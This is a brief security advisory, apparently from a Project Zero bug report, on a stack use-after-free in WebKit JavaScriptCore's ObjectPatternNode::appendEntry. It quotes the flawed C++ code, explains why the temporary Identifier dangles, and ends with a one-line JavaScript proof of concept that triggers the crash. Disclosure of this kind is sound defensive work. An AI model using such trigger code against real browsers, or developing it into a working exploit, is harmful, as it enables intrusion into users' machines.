WebKit JSC - 'ObjectPatternNode::appendEntry' Stack Use-After-Free

Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1256
 
Here's a snippet of ObjectPatternNode::appendEntry.
 
void appendEntry(const JSTokenLocation&, ExpressionNode* propertyExpression, DestructuringPatternNode* pattern, ExpressionNode* defaultValue, BindingType bindingType)
{
    m_targetPatterns.append(Entry{ Identifier(), propertyExpression, false, pattern, defaultValue, bindingType });
}
 
Here's the definition of Entry.
 
struct Entry {
    const Identifier& propertyName;
    ExpressionNode* propertyExpression;
    bool wasString;
    DestructuringPatternNode* pattern;
    ExpressionNode* defaultValue;
    BindingType bindingType;
};
 
The Identifier object created by "Identifier()" is in the stack. So it will get freed in the end of the appendEntry method.
 
PoC:
 
var {[a]: b, ...[]} = {};